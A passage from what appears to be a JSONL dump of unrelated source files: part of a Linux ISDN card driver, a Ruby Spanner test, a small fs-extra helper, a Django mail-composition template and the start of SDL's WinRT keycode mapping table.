value);\n}\n\nstatic void\nReadISACfifo(struct IsdnCardState *cs, u_char *data, int size)\n{\n\tcs->hw.hfc.cip = 0;\n\treadfifo(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, 0, data, size);\n}\n\nstatic void\nWriteISACfifo(struct IsdnCardState *cs, u_char *data, int size)\n{\n\tcs->hw.hfc.cip = 0;\n\twritefifo(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, 0, data, size);\n}\n\nstatic u_char\nReadHFC(struct IsdnCardState *cs, int data, u_char reg)\n{\n\tregister u_char ret;\n\n\tif (data) {\n\t\tcs->hw.hfc.cip = reg;\n\t\tbyteout(cs->hw.hfc.addr | 1, reg);\n\t\tret = bytein(cs->hw.hfc.addr);\n\t\tif (cs->debug & L1_DEB_HSCX_FIFO && (data != 2))\n\t\t\tdebugl1(cs, \"hfc RD %02x %02x\", reg, ret);\n\t} else\n\t\tret = bytein(cs->hw.hfc.addr | 1);\n\treturn (ret);\n}\n\nstatic void\nWriteHFC(struct IsdnCardState *cs, int data, u_char reg, u_char value)\n{\n\tbyteout(cs->hw.hfc.addr | 1, reg);\n\tcs->hw.hfc.cip = reg;\n\tif (data)\n\t\tbyteout(cs->hw.hfc.addr, value);\n\tif (cs->debug & L1_DEB_HSCX_FIFO && (data != 2))\n\t\tdebugl1(cs, \"hfc W%c %02x %02x\", data ? 'D' : 'C', reg, value);\n}\n\nstatic irqreturn_t\nTeleInt_interrupt(int intno, void *dev_id)\n{\n\tstruct IsdnCardState *cs = dev_id;\n\tu_char val;\n\tu_long flags;\n\n\tspin_lock_irqsave(&cs->lock, flags);\n\tval = readreg(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, ISAC_ISTA);\nStart_ISAC:\n\tif (val)\n\t\tisac_interrupt(cs, val);\n\tval = readreg(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, ISAC_ISTA);\n\tif (val) {\n\t\tif (cs->debug & L1_DEB_ISAC)\n\t\t\tdebugl1(cs, \"ISAC IntStat after IntRoutine\");\n\t\tgoto Start_ISAC;\n\t}\n\twritereg(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, ISAC_MASK, 0xFF);\n\twritereg(cs->hw.hfc.addr | 1, cs->hw.hfc.addr, ISAC_MASK, 0x0);\n\tspin_unlock_irqrestore(&cs->lock, flags);\n\treturn IRQ_HANDLED;\n}\n\nstatic void\nTeleInt_Timer(struct timer_list *t)\n{\n\tstruct IsdnCardState *cs = from_timer(cs, t, hw.hfc.timer);\n\tint stat = 0;\n\tu_long flags;\n\n\tspin_lock_irqsave(&cs->lock, flags);\n\tif (cs->bcs[0].mode) {\n\t\tstat |= 1;\n\t\tmain_irq_hfc(&cs->bcs[0]);\n\t}\n\tif (cs->bcs[1].mode) {\n\t\tstat |= 2;\n\t\tmain_irq_hfc(&cs->bcs[1]);\n\t}\n\tspin_unlock_irqrestore(&cs->lock, flags);\n\tstat = HZ / 100;\n\tif (!stat)\n\t\tstat = 1;\n\tcs->hw.hfc.timer.expires = jiffies + stat;\n\tadd_timer(&cs->hw.hfc.timer);\n}\n\nstatic void\nrelease_io_TeleInt(struct IsdnCardState *cs)\n{\n\tdel_timer(&cs->hw.hfc.timer);\n\treleasehfc(cs);\n\tif (cs->hw.hfc.addr)\n\t\trelease_region(cs->hw.hfc.addr, 2);\n}\n\nstatic void\nreset_TeleInt(struct IsdnCardState *cs)\n{\n\tprintk(KERN_INFO \"TeleInt: resetting card\\n\");\n\tcs->hw.hfc.cirm |= HFC_RESET;\n\tbyteout(cs->hw.hfc.addr | 1, cs->hw.hfc.cirm);\t/* Reset On */\n\tmdelay(10);\n\tcs->hw.hfc.cirm &= ~HFC_RESET;\n\tbyteout(cs->hw.hfc.addr | 1, cs->hw.hfc.cirm);\t/* Reset Off */\n\tmdelay(10);\n}\n\nstatic int\nTeleInt_card_msg(struct IsdnCardState *cs, int mt, void *arg)\n{\n\tu_long flags;\n\tint delay;\n\n\tswitch (mt) {\n\tcase CARD_RESET:\n\t\tspin_lock_irqsave(&cs->lock, flags);\n\t\treset_TeleInt(cs);\n\t\tspin_unlock_irqrestore(&cs->lock, flags);\n\t\treturn (0);\n\tcase CARD_RELEASE:\n\t\trelease_io_TeleInt(cs);\n\t\treturn (0);\n\tcase CARD_INIT:\n\t\tspin_lock_irqsave(&cs->lock, flags);\n\t\treset_TeleInt(cs);\n\t\tinithfc(cs);\n\t\tclear_pending_isac_ints(cs);\n\t\tinitisac(cs);\n\t\t/* Reenable all IRQ */\n\t\tcs->writeisac(cs, ISAC_MASK, 0);\n\t\tcs->writeisac(cs, ISAC_CMDR, 0x41);\n\t\tspin_unlock_irqrestore(&cs->lock, flags);\n\t\tdelay = HZ / 100;\n\t\tif (!delay)\n\t\t\tdelay = 1;\n\t\tcs->hw.hfc.timer.expires = jiffies + delay;\n\t\tadd_timer(&cs->hw.hfc.timer);\n\t\treturn (0);\n\tcase CARD_TEST:\n\t\treturn (0);\n\t}\n\treturn (0);\n}\n\nint setup_TeleInt(struct IsdnCard *card)\n{\n\tstruct IsdnCardState *cs = card->cs;\n\tchar tmp[64];\n\n\tstrcpy(tmp, TeleInt_revision);\n\tprintk(KERN_INFO \"HiSax: TeleInt driver Rev. %s\\n\", HiSax_getrev(tmp));\n\tif (cs->typ != ISDN_CTYPE_TELEINT)\n\t\treturn (0);\n\n\tcs->hw.hfc.addr = card->para[1] & 0x3fe;\n\tcs->irq = card->para[0];\n\tcs->hw.hfc.cirm = HFC_CIRM;\n\tcs->hw.hfc.isac_spcr = 0x00;\n\tcs->hw.hfc.cip = 0;\n\tcs->hw.hfc.ctmt = HFC_CTMT | HFC_CLTIMER;\n\tcs->bcs[0].hw.hfc.send = NULL;\n\tcs->bcs[1].hw.hfc.send = NULL;\n\tcs->hw.hfc.fifosize = 7 * 1024 + 512;\n\ttimer_setup(&cs->hw.hfc.timer, TeleInt_Timer, 0);\n\tif (!request_region(cs->hw.hfc.addr, 2, \"TeleInt isdn\")) {\n\t\tprintk(KERN_WARNING\n\t\t \"HiSax: TeleInt config port %x-%x already in use\\n\",\n\t\t cs->hw.hfc.addr,\n\t\t cs->hw.hfc.addr + 2);\n\t\treturn (0);\n\t}\n\t/* HW IO = IO */\n\tbyteout(cs->hw.hfc.addr, cs->hw.hfc.addr & 0xff);\n\tbyteout(cs->hw.hfc.addr | 1, ((cs->hw.hfc.addr & 0x300) >> 8) | 0x54);\n\tswitch (cs->irq) {\n\tcase 3:\n\t\tcs->hw.hfc.cirm |= HFC_INTA;\n\t\tbreak;\n\tcase 4:\n\t\tcs->hw.hfc.cirm |= HFC_INTB;\n\t\tbreak;\n\tcase 5:\n\t\tcs->hw.hfc.cirm |= HFC_INTC;\n\t\tbreak;\n\tcase 7:\n\t\tcs->hw.hfc.cirm |= HFC_INTD;\n\t\tbreak;\n\tcase 10:\n\t\tcs->hw.hfc.cirm |= HFC_INTE;\n\t\tbreak;\n\tcase 11:\n\t\tcs->hw.hfc.cirm |= HFC_INTF;\n\t\tbreak;\n\tdefault:\n\t\tprintk(KERN_WARNING \"TeleInt: wrong IRQ\\n\");\n\t\trelease_io_TeleInt(cs);\n\t\treturn (0);\n\t}\n\tbyteout(cs->hw.hfc.addr | 1, cs->hw.hfc.cirm);\n\tbyteout(cs->hw.hfc.addr | 1, cs->hw.hfc.ctmt);\n\n\tprintk(KERN_INFO \"TeleInt: defined at 0x%x IRQ %d\\n\",\n\t cs->hw.hfc.addr, cs->irq);\n\n\tsetup_isac(cs);\n\tcs->readisac = &ReadISAC;\n\tcs->writeisac = &WriteISAC;\n\tcs->readisacfifo = &ReadISACfifo;\n\tcs->writeisacfifo = &WriteISACfifo;\n\tcs->BC_Read_Reg = &ReadHFC;\n\tcs->BC_Write_Reg = &WriteHFC;\n\tcs->cardmsg = &TeleInt_card_msg;\n\tcs->irq_func = &TeleInt_interrupt;\n\tISACVersion(cs, \"TeleInt:\");\n\treturn (1);\n}\n"} {"text": "# Copyright 2016 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nrequire \"helper\"\n\ndescribe Google::Cloud::Spanner::Project, :mock_spanner do\n it \"knows the project identifier\" do\n _(spanner).must_be_kind_of Google::Cloud::Spanner::Project\n _(spanner.project_id).must_equal project\n end\nend\n"} {"text": "import { remove } from 'fs-extra';\n\nexport default path =>\n new Promise((resolve, reject) =>\n remove(path, err => {\n if (err) {\n reject(err);\n return;\n }\n resolve();\n })\n );\n"} {"text": "{% extends 'sales/base.html' %}\n{% load static %}\n{% load paginate %}\n{% block extralinks %}\n{% load thumbnail %}\n\n{% endblock %}\n\n{% block breadcrumb %}\n<nav aria-label=\"breadcrumb\">\n <ol class=\"breadcrumb\">\n <li class=\"breadcrumb-item\"><a href=\"{% url 'accounts:list' %}\">Accounts</a></li>\n <li class=\"breadcrumb-item active\">Create Mail</li>\n </ol>\n </nav>\n{% endblock breadcrumb %}\n\n{% block content %}\n\n<div class=\"main_container\">\n \n <div class=\"row marl\">\n <div class=\"col-md-12\">\n <form id=\"add_form\" method=\"POST\" action='' novalidate>\n <div class=\"overview_form_block row marl justify-content-center\">\n <div class=\"col-md-12\">\n <div class=\"card\">\n <div class=\"card-body\">\n <div class=\"card-title text-center\">\n Send Mail\n </div>\n <form>\n <div class=\"row marl\">\n <div class=\"col-md-12\">\n <div class=\"form-group\">\n <label for=\"\">Contacts</label>\n \n \n <input type=\"text\" placeholder=\"Contacts\" name=\"recipients\" id=\"_id_recipients\">\n </div>\n <span id=\"id_recipients\"></span>\n </div>\n <div class=\"col-md-12\">\n <div class=\"form-group\">\n <label for=\"\">Subject</label>\n <input type=\"text\" class=\"form-control\" name=\"message_subject\" placeholder=\"Enter Subject\">\n </div>\n <span id=\"id_message_subject\"></span>\n </div>\n <div class=\"col-md-9\">\n <div class=\"row\">\n <div class=\"col-md-4\">\n <div class=\"form-group\">\n <label><input type=\"checkbox\" name=\"scheduled_later\" value=\"true\" class=\"scheduled_later\">\n Schedule Later</label>\n <span id=\"id_schedule_later\"></span>\n </div>\n </div>\n <div class=\"col-md-4 timezone-div\" style=\"display: none;\">\n <div class=\"form-group\">\n <label>Timezone</label>\n <select name=\"timezone\" id=\"timezone\"\n class=\"form-control timezone-select js-example-basic-single\">\n <option value=\"\">Select a Timezone</option>\n {% for timezone in timezones %}\n <option value=\"{{timezone.0}}\"\n {% if timezone.0 == settings_timezone %}selected{% endif %}>{{timezone.1}}</option>\n {% endfor %}\n </select>\n <span id=\"id_timezone\"></span>\n </div>\n </div>\n <div class=\"col-md-4 timezone-div\" style=\"display: none;\">\n <div class=\"form-group\">\n <label for=\"\">Schedule Date Time</label><span class=\"error_marker\" style=\"color:red\">\n *</span>\n <div class=\"input-group date\" id=\"datetimepicker1\" data-target-input=\"nearest\">\n <input type=\"text\" class=\"form-control datetimepicker-input\"\n data-target=\"#datetimepicker1\" name=\"scheduled_date_time\" />\n <div class=\"input-group-append\" data-target=\"#datetimepicker1\"\n data-toggle=\"datetimepicker\">\n <div class=\"input-group-text\"><i class=\"fa fa-calendar\"></i></div>\n </div>\n </div>\n \n <span id=\"id_scheduled_date_time\"></span>\n </div>\n </div>\n </div>\n </div>\n <div class=\"col-md-12\">\n <div class=\"form-group\">\n <label>Message</label>\n <div id=\"editor-container\"></div>\n </div>\n <input type=\"hidden\" name=\"message_body\" id=\"html_content\">\n <span id=\"id_message_body\"></span>\n </div>\n \n <div class=\"col-md-12\">\n <div class=\"heading\">Personalization tags</div>\n <p class=\"desc\">The following tags can be used on both Plain text or HTML. Add these tags to\n customize the email template, these tags will be replaced with the associated contact details\n while the mails are sent.</p>\n <ul>\n <li>\n <strong>Name: </strong>\n <code>{% templatetag openvariable %} name {% templatetag closevariable %}</code>\n </li>\n <li>\n <strong>Email: </strong>\n <code>{% templatetag openvariable %} email {% templatetag closevariable %}</code>\n </li>\n \n </ul>\n </div>\n <div class=\"col-md-12 text-center\">\n <button type=\"submit\" class=\"primary_btn mar_btm save_btn\">Send</button>\n <a href=\"#\" class=\"primary_btn\">Cancel</a>\n </div>\n </div>\n </form>\n </div>\n </div>\n </div>\n </div>\n </form>\n </div>\n </div>\n</div>\n{% endblock %}\n{% block js_block %}\n\n<script>\n $(document).ready(function () {\n\n // $('[name=\"schedule_later\"]').on('change', function (e) {\n // if ($(this).is(\":checked\")) {\n // $('.timezone-div').show();\n // } else {\n // $('.timezone-div').hide();\n // }\n // console.log($(this))\n // console.log($(this).is(':checked'))\n // })\n $(\".timezone-select\").select2({\n placeholder: \"Select a Timezone\",\n });\n\n $('.scheduled_later').on('change', function () {\n // console.log('changed')\n if ($('.check_delete:checked').length > 1) {\n $('.timezone-div').show();\n }\n else {\n $('.timezone-div').hide();\n }\n if ($(this).is(\":checked\")) {\n $('.timezone-div').show();\n } else {\n $('.timezone-div').hide();\n }\n console.log($(this))\n console.log($(this).is(':checked'))\n })\n\n $.fn.datetimepicker.Constructor.Default = $.extend({}, $.fn.datetimepicker.Constructor.Default, {\n icons: {\n time: 'fa fa-clock',\n date: 'fa fa-calendar',\n up: 'fa fa-arrow-up',\n down: 'fa fa-arrow-down',\n previous: 'fa fa-chevron-left',\n next: 'fa fa-chevron-right',\n today: 'far fa-calendar-check-o',\n clear: 'fa fa-trash',\n close: 'fa fa-times'\n }\n });\n $('#datetimepicker1').datetimepicker({\n format: \"YYYY-MM-DD HH:mm\"\n });\n\n // $(\"#id_contacts\").select2();\n var REGEX_EMAIL = '([a-z0-9!#$%&\\'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&\\'*+/=?^_`{|}~-]+)*@' +\n '(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)';\n\n $('#_id_recipients').selectize({\n persist: false,\n maxItems: null,\n valueField: 'email',\n labelField: 'name',\n searchField: ['name', 'email'],\n // options: [\n // {email: 'brian@thirdroute.com', name: 'Brian Reavis'},\n // {email: 'nikola@tesla.com', name: 'Nikola Tesla'},\n // {email: 'someone@gmail.com'}\n // ],\n options: {{ contacts_list| safe}},\n render: {\n item: function (item, escape) {\n return '<div>' +\n (item.name ? '<span class=\"name\">' + escape(item.name) + '</span>' : '') +\n (item.email ? '<span class=\"email\">' + escape(item.email) + '</span>' : '') +\n '</div>';\n },\n option: function (item, escape) {\n var label = item.name || item.email;\n var caption = item.name ? item.email : null;\n return '<div>' +\n '<span class=\"label\">' + escape(label) + '</span>' +\n (caption ? '<span class=\"caption\">' + escape(caption) + '</span>' : '') +\n '</div>';\n }\n },\n createFilter: function (input) {\n var match, regex;\n\n // email@address.com\n regex = new RegExp('^' + REGEX_EMAIL + '$', 'i');\n match = input.match(regex);\n if (match) return !this.options.hasOwnProperty(match[0]);\n\n // name <email@address.com>\n regex = new RegExp('^([^<]*)\\<' + REGEX_EMAIL + '\\>$', 'i'); match = input.match(regex); if (match) return\n !this.options.hasOwnProperty(match[2]); return false;\n }, create: function (input) {\n if ((new RegExp('^' +\n REGEX_EMAIL + '$', 'i')).test(input)) { return { email: input }; } var match = input.match(new RegExp('^([^<]*)\\<'\n + REGEX_EMAIL + '\\>$', 'i')); if (match) { return { email: match[2], name: $.trim(match[1]) }; }\n alert('Invalid email address.'); return false;\n } });\n });\n var quill = new Quill('#editor-container', {\n modules: {\n toolbar: [\n [{ header: [1, 2, false] }],\n ['bold', 'italic', 'underline'],\n ['code-block', 'link']\n ]\n },\n placeholder: 'Compose mail...',\n theme: 'snow' // or 'bubble'\n });\n\n var preciousContent = document.getElementById('myPrecious');\n var justTextContent = document.getElementById('justText');\n var justHtmlContent = document.getElementById('justHtml');\n\n quill.on('text-change', function () {\n var delta = quill.getContents();\n var text = quill.getText();\n var justHtml = quill.root.innerHTML;\n /*preciousContent.innerHTML = JSON.stringify(delta);\n justTextContent.innerHTML = text;\n justHtmlContent.innerHTML = justHtml;*/\n $('#html_content').val(justHtml);\n });\n\n\n $('.save_btn').click(function (e) {\n e.preventDefault();\n $(\"form#add_form\").submit()\n })\n\n $('form#add_form').ajaxForm({\n type: 'POST',\n dataType: 'json',\n url: $(this).attr('action'),\n data: $(this).serialize(),\n success: function (data) {\n console.log(\"data\", data)\n if (data.error == false) {\n window.location = \"{% url 'accounts:list' %}\";\n } else {\n /*$(document).ajaxStop($.unblockUI);*/\n // $.unblockUI();\n $('p.failure').remove();\n for (var key in data.errors) {\n $('#id_' + key).html('<p class=\"error failure\"> *' + data.errors[key] + '</p>');\n }\n }\n },\n error: function (xhr, errmsg, err) {\n console.log('error data', errmsg, err)\n }\n });\n</script>\n{% endblock js_block %}"} {"text": "/*\n Simple DirectMedia Layer\n Copyright (C) 1997-2017 Sam Lantinga <slouken@libsdl.org>\n\n This software is provided 'as-is', without any express or implied\n warranty. In no event will the authors be held liable for any damages\n arising from the use of this software.\n\n Permission is granted to anyone to use this software for any purpose,\n including commercial applications, and to alter it and redistribute it\n freely, subject to the following restrictions:\n\n 1. The origin of this software must not be misrepresented; you must not\n claim that you wrote the original software. If you use this software\n in a product, an acknowledgment in the product documentation would be\n appreciated but is not required.\n 2. Altered source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n 3. This notice may not be removed or altered from any source distribution.\n*/\n#include \"../../SDL_internal.h\"\n\n#if SDL_VIDEO_DRIVER_WINRT\n\n/* Windows-specific includes */\n#include <Windows.h>\n#include <agile.h>\n\n\n/* SDL-specific includes */\n#include <SDL.h>\n#include \"SDL_winrtevents_c.h\"\n\nextern \"C\" {\n#include \"../../events/scancodes_windows.h\"\n#include \"../../events/SDL_keyboard_c.h\"\n}\n\n\nstatic SDL_Scancode WinRT_Official_Keycodes[] = {\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.None -- 0 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.LeftButton -- 1 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.RightButton -- 2 */\n SDL_SCANCODE_CANCEL, /* VirtualKey.Cancel -- 3 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.MiddleButton -- 4 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.XButton1 -- 5 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.XButton2 -- 6 */\n SDL_SCANCODE_UNKNOWN, /* -- 7 */\n SDL_SCANCODE_BACKSPACE, /* VirtualKey.Back -- 8 */\n SDL_SCANCODE_TAB, /* VirtualKey.Tab -- 9 */\n SDL_SCANCODE_UNKNOWN, /* -- 10 */\n SDL_SCANCODE_UNKNOWN, /* -- 11 */\n SDL_SCANCODE_CLEAR, /* VirtualKey.Clear -- 12 */\n SDL_SCANCODE_RETURN, /* VirtualKey.Enter -- 13 */\n SDL_SCANCODE_UNKNOWN, /* -- 14 */\n SDL_SCANCODE_UNKNOWN, /* -- 15 */\n SDL_SCANCODE_LSHIFT, /* VirtualKey.Shift -- 16 */\n SDL_SCANCODE_LCTRL, /* VirtualKey.Control -- 17 */\n SDL_SCANCODE_MENU, /* VirtualKey.Menu -- 18 */\n SDL_SCANCODE_PAUSE, /* VirtualKey.Pause -- 19 */\n SDL_SCANCODE_CAPSLOCK, /* VirtualKey.CapitalLock -- 20 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Kana or VirtualKey.Hangul -- 21 */\n SDL_SCANCODE_UNKNOWN, /* -- 22 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Junja -- 23 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Final -- 24 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Hanja or VirtualKey.Kanji -- 25 */\n SDL_SCANCODE_UNKNOWN, /* -- 26 */\n SDL_SCANCODE_ESCAPE, /* VirtualKey.Escape -- 27 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Convert -- 28 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.NonConvert -- 29 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Accept -- 30 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.ModeChange -- 31 (maybe SDL_SCANCODE_MODE ?) */\n SDL_SCANCODE_SPACE, /* VirtualKey.Space -- 32 */\n SDL_SCANCODE_PAGEUP, /* VirtualKey.PageUp -- 33 */\n SDL_SCANCODE_PAGEDOWN, /* VirtualKey.PageDown -- 34 */\n SDL_SCANCODE_END, /* VirtualKey.End -- 35 */\n SDL_SCANCODE_HOME, /* VirtualKey.Home -- 36 */\n SDL_SCANCODE_LEFT, /* VirtualKey.Left -- 37 */\n SDL_SCANCODE_UP, /* VirtualKey.Up -- 38 */\n SDL_SCANCODE_RIGHT, /* VirtualKey.Right -- 39 */\n SDL_SCANCODE_DOWN, /* VirtualKey.Down -- 40 */\n SDL_SCANCODE_SELECT, /* VirtualKey.Select -- 41 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Print -- 42 (maybe SDL_SCANCODE_PRINTSCREEN ?) */\n SDL_SCANCODE_EXECUTE, /* VirtualKey.Execute -- 43 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Snapshot -- 44 */\n SDL_SCANCODE_INSERT, /* VirtualKey.Insert -- 45 */\n SDL_SCANCODE_DELETE, /* VirtualKey.Delete -- 46 */\n SDL_SCANCODE_HELP, /* VirtualKey.Help -- 47 */\n SDL_SCANCODE_0, /* VirtualKey.Number0 -- 48 */\n SDL_SCANCODE_1, /* VirtualKey.Number1 -- 49 */\n SDL_SCANCODE_2, /* VirtualKey.Number2 -- 50 */\n SDL_SCANCODE_3, /* VirtualKey.Number3 -- 51 */\n SDL_SCANCODE_4, /* VirtualKey.Number4 -- 52 */\n SDL_SCANCODE_5, /* VirtualKey.Number5 -- 53 */\n SDL_SCANCODE_6, /* VirtualKey.Number6 -- 54 */\n SDL_SCANCODE_7, /* VirtualKey.Number7 -- 55 */\n SDL_SCANCODE_8, /* VirtualKey.Number8 -- 56 */\n SDL_SCANCODE_9, /* VirtualKey.Number9 -- 57 */\n SDL_SCANCODE_UNKNOWN, /* -- 58 */\n SDL_SCANCODE_UNKNOWN, /* -- 59 */\n SDL_SCANCODE_UNKNOWN, /* -- 60 */\n SDL_SCANCODE_UNKNOWN, /* -- 61 */\n SDL_SCANCODE_UNKNOWN, /* -- 62 */\n SDL_SCANCODE_UNKNOWN, /* -- 63 */\n SDL_SCANCODE_UNKNOWN, /* -- 64 */\n SDL_SCANCODE_A, /* VirtualKey.A -- 65 */\n SDL_SCANCODE_B, /* VirtualKey.B -- 66 */\n SDL_SCANCODE_C, /* VirtualKey.C -- 67 */\n SDL_SCANCODE_D, /* VirtualKey.D -- 68 */\n SDL_SCANCODE_E, /* VirtualKey.E -- 69 */\n SDL_SCANCODE_F, /* VirtualKey.F -- 70 */\n SDL_SCANCODE_G, /* VirtualKey.G -- 71 */\n SDL_SCANCODE_H, /* VirtualKey.H -- 72 */\n SDL_SCANCODE_I, /* VirtualKey.I -- 73 */\n SDL_SCANCODE_J, /* VirtualKey.J -- 74 */\n SDL_SCANCODE_K, /* VirtualKey.K -- 75 */\n SDL_SCANCODE_L, /* VirtualKey.L -- 76 */\n SDL_SCANCODE_M, /* VirtualKey.M -- 77 */\n SDL_SCANCODE_N, /* VirtualKey.N -- 78 */\n SDL_SCANCODE_O, /* VirtualKey.O -- 79 */\n SDL_SCANCODE_P, /* VirtualKey.P -- 80 */\n SDL_SCANCODE_Q, /* VirtualKey.Q -- 81 */\n SDL_SCANCODE_R, /* VirtualKey.R -- 82 */\n SDL_SCANCODE_S, /* VirtualKey.S -- 83 */\n SDL_SCANCODE_T, /* VirtualKey.T -- 84 */\n SDL_SCANCODE_U, /* VirtualKey.U -- 85 */\n SDL_SCANCODE_V, /* VirtualKey.V -- 86 */\n SDL_SCANCODE_W, /* VirtualKey.W -- 87 */\n SDL_SCANCODE_X, /* VirtualKey.X -- 88 */\n SDL_SCANCODE_Y, /* VirtualKey.Y -- 89 */\n SDL_SCANCODE_Z, /* VirtualKey.Z -- 90 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.LeftWindows -- 91 (maybe SDL_SCANCODE_APPLICATION or SDL_SCANCODE_LGUI ?) */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.RightWindows -- 92 (maybe SDL_SCANCODE_APPLICATION or SDL_SCANCODE_RGUI ?) */\n SDL_SCANCODE_APPLICATION, /* VirtualKey.Application -- 93 */\n SDL_SCANCODE_UNKNOWN, /* -- 94 */\n SDL_SCANCODE_SLEEP, /* VirtualKey.Sleep -- 95 */\n SDL_SCANCODE_KP_0, /* VirtualKey.NumberPad0 -- 96 */\n SDL_SCANCODE_KP_1, /* VirtualKey.NumberPad1 -- 97 */\n SDL_SCANCODE_KP_2, /* VirtualKey.NumberPad2 -- 98 */\n SDL_SCANCODE_KP_3, /* VirtualKey.NumberPad3 -- 99 */\n SDL_SCANCODE_KP_4, /* VirtualKey.NumberPad4 -- 100 */\n SDL_SCANCODE_KP_5, /* VirtualKey.NumberPad5 -- 101 */\n SDL_SCANCODE_KP_6, /* VirtualKey.NumberPad6 -- 102 */\n SDL_SCANCODE_KP_7, /* VirtualKey.NumberPad7 -- 103 */\n SDL_SCANCODE_KP_8, /* VirtualKey.NumberPad8 -- 104 */\n SDL_SCANCODE_KP_9, /* VirtualKey.NumberPad9 -- 105 */\n SDL_SCANCODE_KP_MULTIPLY, /* VirtualKey.Multiply -- 106 */\n SDL_SCANCODE_KP_PLUS, /* VirtualKey.Add -- 107 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Separator -- 108 */\n SDL_SCANCODE_KP_MINUS, /* VirtualKey.Subtract -- 109 */\n SDL_SCANCODE_UNKNOWN, /* VirtualKey.Decimal -- 110 (maybe SDL_SCANCODE_DECIMALSEPARATOR, SDL_SCANCODE_KP_DECIMAL, or SDL_SCANCODE_KP_PERIOD ?) */\n SDL_SCANCODE_KP_DIVIDE, /* VirtualKey.Divide -- 111 */\n SDL_SCANCODE_F1, /* VirtualKey.F1 -- 112 */\n SDL_SCANCODE_F2, /* VirtualKey.F2 -- 113 */\n SDL_SCANCODE_F3, /* VirtualKey.F3 -- 114 */\n SDL_SCANCODE_F4, /* VirtualKey.F4 -- 115 */\n SDL_SCANCODE_F5, /* VirtualKey.F5 -- 116 */\n SDL_SCANCODE_F6, /* VirtualKey.F6 -- 117 */\n SDL_SCANCODE_F7, /* VirtualKey.F7 -- 118 */\n SDL_SCANCODE_F8, /* VirtualKey.F8 -- 119 */\n SDL_SCANCODE_F9, /* VirtualKey.F9 -- 120 */\n SDL_SCANCODE_F10, /* VirtualKey.F10 -- 121 */\n SDL_SCANCODE_F11, /* VirtualKey.F11 -- 122 */\n SDL_SCANCODE_F12, /* VirtualKey.F12 -- 123 */\n SDL_SCANCODE_F13, /* VirtualKey.F13 -- 124 */\n SDL_SCANCODE_F14, /* VirtualKey.F14 -- 125 */\n SDL_SCANCODE_F15, /* VirtualKey.F15 -- 126 */\n SDL_SCANCODE_F16, /* VirtualKey.F16 -- 127 */\n SDL_SCANCODE_F17, /* VirtualKey.F17 -- 128 */\n SDL_SCANCODE_F18, /* VirtualKey.F18 -- 129 */\n SDL_SCANCODE_F19, /* VirtualKey.F19 -- 130 */\n SDL_SCANCODE_F20, /* VirtualKey.F20 -- 131 */\n SDL_SCANCODE_F21, /* VirtualKey.F21 -- 132 */\n SDL_SCANCODE_F22, /* VirtualKey.F22 -- 133 */\n SDL_SCANCODE_F23, /* VirtualKey.F23 -- 134 */\n SDL_SCANCODE_F24, /* VirtualKey.F24 -- 135 */\n SDL_SCANCODE_UNKNOWN, /* -- 136 */\n SDL_SCANCODE_UNKNOWN, /* -- 137 */\n SDL_SCANCODE_UNKNOWN, /* -- 138 */\n SDL_SCANCODE_UNKNOWN, /* -- 139 */\n SDL_SCANCODE_UNKNOWN, /* -- 140 */\n SDL_SCANCODE_UNKNOWN, /* -- 141 */\n SDL_SCANCODE_UNKNOWN, /* -- 142 */\n SDL_SCANCODE_UNKNOWN, /* -- 143 */\n SDL_SCANCODE_NUMLOCKCLEAR, /* VirtualKey.NumberKeyLock -- 144 */\n SDL_SCANCODE_SCROLLLOCK, /* VirtualKey.Scroll -- 145 */\n SDL_SCANCODE_UNKNOWN, /* -- 146 */\n SDL_SCANCODE_UNKNOWN, /* -- 147 */\n SDL_SCANCODE_UNKNOWN, /* -- 148 */\n SDL_SCANCODE_UNKNOWN, /* -- 149 */\n SDL_SCANCODE_UNKNOWN, /* -- 150 */\n SDL_SCANCODE_UNKNOWN, /* -- 151 */\n SDL_SCANCODE_UNKNOWN, /* -- 152 */\n SDL_SCANCODE_UNKNOWN, /* -- 153 */\n SDL_SCANCODE_UNKNOWN, /* -- 154 */\n SDL_SCANCODE_UNKNOWN, /* -- 155 */\n SDL_SCANCODE_UNKNOWN, /* -- 156 */\n SDL_SCANCODE_UNKNOWN, /* -- 157 */\n SDL_SCANCODE_UNKNOWN, /* -- 158 */\n SDL_SCANCODE_UNKNOWN, /* -- 159 */\n SDL_SCANCODE_LSHIFT, /* VirtualKey.LeftShift -- 160 */\n SDL_SCANCODE_RSHIFT, /* VirtualKey.RightShift -- 161 */\n SDL_SCANCODE_LCTRL, /* VirtualKey.LeftControl -- 162 */\n SDL_SCANCODE_RCTRL, /* VirtualKey.RightControl -- 163 */\n SDL_SCANCODE_MENU, /* VirtualKey.LeftMenu -- 164 */\n 